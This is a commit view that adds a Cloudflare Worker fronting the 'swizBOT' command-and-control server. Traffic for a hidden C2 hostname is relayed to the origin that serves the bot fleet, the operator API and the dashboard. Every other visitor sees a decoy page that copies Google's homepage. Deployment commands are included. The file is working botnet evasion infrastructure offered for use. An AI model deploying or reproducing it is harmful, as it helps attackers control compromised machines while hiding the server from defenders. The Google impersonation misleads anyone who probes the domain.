Upload files to "deploy"

This commit is contained in:
ek0ms savi0r
2026-09-12 01:29:03 +00:00
parent 58a8014977
commit 62b3a03370
+88
View File
@@ -0,0 +1,88 @@
/**
* swizBOT - CDN fronting worker (Cloudflare)
*
* Routes on the Host header: requests for the hidden C2 hostname are
* forwarded to the swizBOT origin; everyone else gets a decoy page.
* The implant protocol is plain HTTP(S) polling (checkin/result), so
* this worker fronts the whole bot fleet plus the operator API and
* dashboard without any WebSocket bridging.
*
* Pattern based on the noPROXY_c2s "c2s_cdn_fronting" worker.js by
* ek0mssavi0r (MIT) and the c2d deployment worker (saviorSEC/c2d).
*
* Deploy:
* cd deploy
* wrangler deploy cloudflare_worker.js
*
* Environment (wrangler.toml or dashboard):
* C2_HOST - hidden hostname routed to the C2, e.g. "c2-api.example.com"
* BACKEND_URL - swizBOT origin, e.g. "https://c2.example.net:8443"
*/
export default {
async fetch(request, env) {
const url = new URL(request.url);
const host = (request.headers.get("Host") || "").toLowerCase();
// ---- C2 routing ----
if (env.C2_HOST && host === env.C2_HOST.toLowerCase()) {
const backendUrl = env.BACKEND_URL + url.pathname + url.search;
const backendReq = new Request(backendUrl, {
method: request.method,
headers: request.headers,
body: request.body,
redirect: "follow",
});
try {
return await fetch(backendReq);
} catch (err) {
return new Response(
JSON.stringify({ error: "backend unreachable", detail: err.message }),
{ status: 502, headers: { "Content-Type": "application/json" } }
);
}
}
// ---- decoy for everything else ----
return new Response(DECOY_HTML, {
headers: {
"Content-Type": "text/html; charset=utf-8",
"Cache-Control": "public, max-age=300",
},
});
},
};
const DECOY_HTML = `<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Google</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: Arial, sans-serif; background: #fff; color: #222;
display: flex; flex-direction: column; align-items: center;
min-height: 100vh; }
.bar { width: 100%; max-width: 640px; margin: 20vh auto 0; text-align: center; }
h1 { font-size: 64px; font-weight: 500; letter-spacing: -4px; }
h1 span:nth-child(1){color:#4285F4} h1 span:nth-child(2){color:#EA4335}
h1 span:nth-child(3){color:#FBBC05} h1 span:nth-child(4){color:#4285F4}
h1 span:nth-child(5){color:#34A853} h1 span:nth-child(6){color:#EA4335}
input { width: 100%; padding: 12px 16px; font-size: 16px; margin-top: 24px;
border: 1px solid #dfe1e5; border-radius: 24px; outline: none; }
.btns { margin-top: 24px; }
.btns button { background: #f8f9fa; border: 1px solid #f8f9fa; border-radius: 4px;
padding: 8px 16px; margin: 0 6px; font-size: 14px; cursor: pointer; }
p.foot { margin-top: 40vh; color: #70757a; font-size: 13px; }
</style>
</head>
<body>
<div class="bar">
<h1><span>G</span><span>o</span><span>o</span><span>g</span><span>l</span><span>e</span></h1>
<input type="text" aria-label="Search">
<div class="btns"><button>Google Search</button><button>I'm Feeling Lucky</button></div>
</div>
<p class="foot">Privacy - Terms - Settings</p>
</body>
</html>`;